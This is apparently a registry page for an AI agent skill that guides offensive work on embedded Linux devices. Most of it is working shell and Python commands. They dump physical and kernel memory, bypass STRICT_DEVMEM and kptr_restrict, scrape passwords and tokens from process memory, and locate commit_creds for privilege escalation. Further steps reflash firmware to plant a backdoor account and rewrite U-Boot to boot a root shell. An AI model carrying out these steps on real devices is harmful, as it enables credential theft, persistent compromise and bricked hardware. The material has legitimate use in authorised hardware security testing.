Runtime memory access and manipulation on embedded Linux via /dev/mem, /dev/kmem, and MTD devices. Covers physical memory reads/writes, kernel symbol resolution via /proc/kallsyms, live firmware patching with mtd_debug and flashcp, and bypassing memory-access restrictions (CONFIG_STRICT_DEVMEM, kernel.perf_event_paranoid).
65
80%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/iot/dev-mem/SKILL.mdOn embedded Linux, physical memory and raw flash are often accessible as character devices. Combined with /proc/kallsyms for kernel symbol resolution, these interfaces allow runtime rootkit injection, credential extraction, and live firmware modification without touching the filesystem.
uname -a).ls -la /dev/mem /dev/kmem /dev/mtd*.devmem2 (or /dev/mem via dd), mtd_debug, flashcp, busybox devmem.# Confirm device nodes exist
ls -la /dev/mem /dev/kmem /dev/mtd* 2>/dev/null
# Confirm kernel version and MTD subsystem
uname -a
cat /proc/mtd# Read 4-byte word at physical address 0x10000000
devmem2 0x10000000 w
# Read byte at address
devmem2 0x10000000 b
# Write 4-byte word (use carefully — can crash SoC peripherals)
devmem2 0x10000000 w 0xDEADBEEF
# BusyBox devmem (same syntax on BusyBox builds)
busybox devmem 0x10000000 32# Dump 4KB region of physical RAM starting at 0x80000000 (DRAM base on many MIPS/ARM)
dd if=/dev/mem bs=1024 skip=$((0x80000000 / 1024)) count=4 > /tmp/mem_region.bin
# Read peripheral register (e.g., GPIO base on BCM2835 = 0x3F200000)
dd if=/dev/mem bs=4 skip=$((0x3F200034 / 4)) count=1 2>/dev/null | xxd
# Search physical RAM for a string (e.g., password, key material)
strings /dev/mem 2>/dev/null | grep -iE 'password|secret|key|token' | head -20
# Dump first 32MB of DRAM to exfil
dd if=/dev/mem bs=1M count=32 of=/tmp/memdump_32m.binKernels with CONFIG_STRICT_DEVMEM=y block non-MMIO physical addresses.
# Check if restriction is active
dmesg 2>/dev/null | grep -i "devmem\|mem: Checking"
# Bypass A: MMIO regions are always permitted — map peripheral registers
# GPIO, UART, timers are MMIO and bypass STRICT_DEVMEM checks.
# Bypass B: Use /proc/kcore (virtual kernel memory, may still be available)
dd if=/proc/kcore bs=1M count=8 of=/tmp/kcore_partial.bin 2>/dev/null
# Bypass C: Kernel module injection via /dev/kmem (see Phase 2)
# Bypass D: mmap /proc/<pid>/mem of a privileged process
# (works when CAP_SYS_PTRACE is available)
cat /proc/1/maps | grep heap
dd if=/proc/1/mem bs=1 skip=$((heap_start)) count=4096 of=/tmp/init_heap.bin 2>/dev/null/dev/kmem exposes virtual kernel address space. Available on older kernels
(pre-3.7) or when compiled without CONFIG_DEVKMEM=n.
# Check kernel virtual addresses from kallsyms
# (available when CONFIG_KALLSYMS=y, common on embedded devices for crash debugging)
cat /proc/kallsyms | grep -E ' sys_call_table| commit_creds| prepare_kernel_cred'
# Example: ffffffff81801460 R sys_call_table
# Read kernel symbol value via /dev/kmem
SYM_ADDR=0xffffffff81801460
dd if=/dev/kmem bs=8 skip=$(( SYM_ADDR / 8 )) count=1 2>/dev/null | xxd
# Patch a kernel variable (e.g., set uid to 0 for current process)
# WARNING: wrong address = immediate kernel panic
# Use devmem2 with the virtual address:
devmem2 $SYM_ADDR q # quad-word read (64-bit)# /proc/kcore is ELF-formatted kernel memory snapshot
# Use volatility3 with a Linux profile if available:
vol -f /proc/kcore linux.bash.Bash # recover bash history from kernel
vol -f /proc/kcore linux.pslist.PsList
# Manual: search for credential structures
strings /proc/kcore 2>/dev/null | grep -E 'root|password|shadow' | head -20MTD (Memory Technology Devices) exposes raw NOR/NAND flash. On embedded Linux,
/dev/mtd* (char) and /dev/mtdblock* (block) devices are the primary paths
for read/write access to firmware partitions.
# List all MTD partitions with sizes and names
cat /proc/mtd
# Example output:
# dev: size erasesize name
# mtd0: 00040000 00010000 "u-boot"
# mtd1: 00010000 00010000 "u-boot-env"
# mtd2: 00200000 00010000 "kernel"
# mtd3: 00600000 00010000 "rootfs"
# mtd4: 00200000 00010000 "storage"# Method A: dd from block device
dd if=/dev/mtdblock3 of=/tmp/rootfs.bin bs=512
# Method B: mtd_debug read (preferred — handles bad blocks on NAND)
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_debug.bin
# Method C: nanddump (NAND-aware, includes OOB handling)
nanddump --noecc --omitoob /dev/mtd3 -f /tmp/rootfs_nand.bin# DANGER: Writing to wrong partition bricks the device.
# Always verify partition map and backup before writing.
# Step 1: Backup the partition to be patched
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_backup.bin
sha256sum /tmp/rootfs_backup.bin > /tmp/rootfs_backup.bin.sha256
# Step 2: Modify the backup (e.g., inject backdoor account into /etc/passwd)
# Mount squashfs, modify, repack, place in /tmp/rootfs_patched.bin
# Step 3: Erase the MTD partition (REQUIRED before write on NOR flash)
flash_erase /dev/mtd3 0 0 # erase entire partition
# Or with mtd_debug:
mtd_debug erase /dev/mtd3 0 $((0x600000))
# Step 4: Write patched image
flashcp -v /tmp/rootfs_patched.bin /dev/mtd3
# Or mtd_debug write:
mtd_debug write /dev/mtd3 0 $((0x600000)) /tmp/rootfs_patched.bin
# Step 5: Verify write
mtd_debug read /dev/mtd3 0 $((0x600000)) /tmp/rootfs_verify.bin
diff /tmp/rootfs_patched.bin /tmp/rootfs_verify.bin && echo "WRITE OK" || echo "MISMATCH"# U-Boot env is typically in mtd1 (check /proc/mtd for "u-boot-env")
UBOOT_ENV_MTD=/dev/mtd1
# Dump current env
dd if=/dev/mtdblock1 of=/tmp/uboot_env.bin
# Decode: first 4 bytes = CRC32, then null-delimited key=value pairs
python3 -c "
import struct, zlib
data = open('/tmp/uboot_env.bin','rb').read()
crc_stored = struct.unpack('<I', data[:4])[0]
crc_calc = zlib.crc32(data[4:]) & 0xFFFFFFFF
print(f'CRC stored: {crc_stored:#010x}, calc: {crc_calc:#010x}')
env = data[4:].split(b'\\x00')
for e in env:
if e: print(e.decode(errors='replace'))
"
# Modify env and rewrite with correct CRC
python3 << 'EOF'
import struct, zlib
env_vars = {
"bootargs": "root=/dev/mtdblock3 rootfstype=squashfs console=ttyS0,115200 init=/bin/sh",
"bootcmd": "run bootlinux",
# add more vars as needed
}
# Build null-delimited env block (standard U-Boot env size = 64KB)
ENV_SIZE = 0x10000
payload = b""
for k, v in env_vars.items():
payload += f"{k}={v}\x00".encode()
payload += b"\x00"
payload = payload.ljust(ENV_SIZE - 4, b"\xff")
crc = struct.pack("<I", zlib.crc32(payload) & 0xFFFFFFFF)
with open("/tmp/uboot_env_patched.bin", "wb") as f:
f.write(crc + payload)
print("Patched env written")
EOF
# Flash patched env
flash_erase /dev/mtd1 0 0
flashcp /tmp/uboot_env_patched.bin /dev/mtd1# List running processes with memory maps
cat /proc/1/maps # init/systemd
# Identify heap/stack regions
# Read from process memory (requires same UID or root)
# Read 256 bytes at heap start of PID 1234
HEAP_START=0x00400000 # from /proc/1234/maps
dd if=/proc/1234/mem bs=1 skip=$HEAP_START count=256 of=/tmp/pid_mem.bin 2>/dev/null
# Search for credentials in web server process memory (lighttpd / httpd)
WEB_PID=$(pgrep lighttpd || pgrep httpd || pgrep uhttpd)
strings /proc/$WEB_PID/mem 2>/dev/null | grep -iE 'password|session|token' | head -20
# GDB (if available) — attach to running process
gdb -p $WEB_PID -batch -ex "x/512s 0x$(grep heap /proc/$WEB_PID/maps | head -1 | cut -d- -f1)" \
2>/dev/null | grep -iE 'password|secret|key'# Read symbol table (requires root or kernel.kptr_restrict=0)
cat /proc/kallsyms | grep -E 'sys_call_table|commit_creds|prepare_kernel_cred|selinux'
# Check kptr_restrict setting
cat /proc/sys/kernel/kptr_restrict
# 0 = all addresses visible, 1 = visible to root, 2 = hidden always
# Lower restriction (if writable — common on IoT with permissive sysctl)
echo 0 > /proc/sys/kernel/kptr_restrict
# Use symbol addresses for kernel exploit primitives
# commit_creds(prepare_kernel_cred(0)) pattern for local priv-esc
# (pass to kernel module or mmap-based shellcode)EVDIR=/workspace/evidence/iot/<target>/devmem
mkdir -p "$EVDIR"
cp /tmp/memdump_32m.bin "$EVDIR/" 2>/dev/null
cp /tmp/rootfs_backup.bin "$EVDIR/" 2>/dev/null
sha256sum "$EVDIR"/*.bin > "$EVDIR/checksums.sha256"
echo "MTD partition map:" >> "$EVDIR/notes.txt"
cat /proc/mtd >> "$EVDIR/notes.txt"
echo "kallsyms sys_call_table:" >> "$EVDIR/notes.txt"
cat /proc/kallsyms | grep sys_call_table >> "$EVDIR/notes.txt"/workspace/evidence/ before any write operation./proc/mtd before writing./dev/mem reads of active MMIO registers (UART, SPI, GPIO) can interfere with
peripheral operation and may trigger watchdog resets.https://github.com/sigma-star/mtd-utilshttps://www.linux-mtd.infradead.org/doc/general.htmlhttps://github.com/VCTLabs/devmem2references/devmem-kernel-exploit.mdhttps://u-boot.readthedocs.io/en/latest/usage/environment.html31e1c8e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.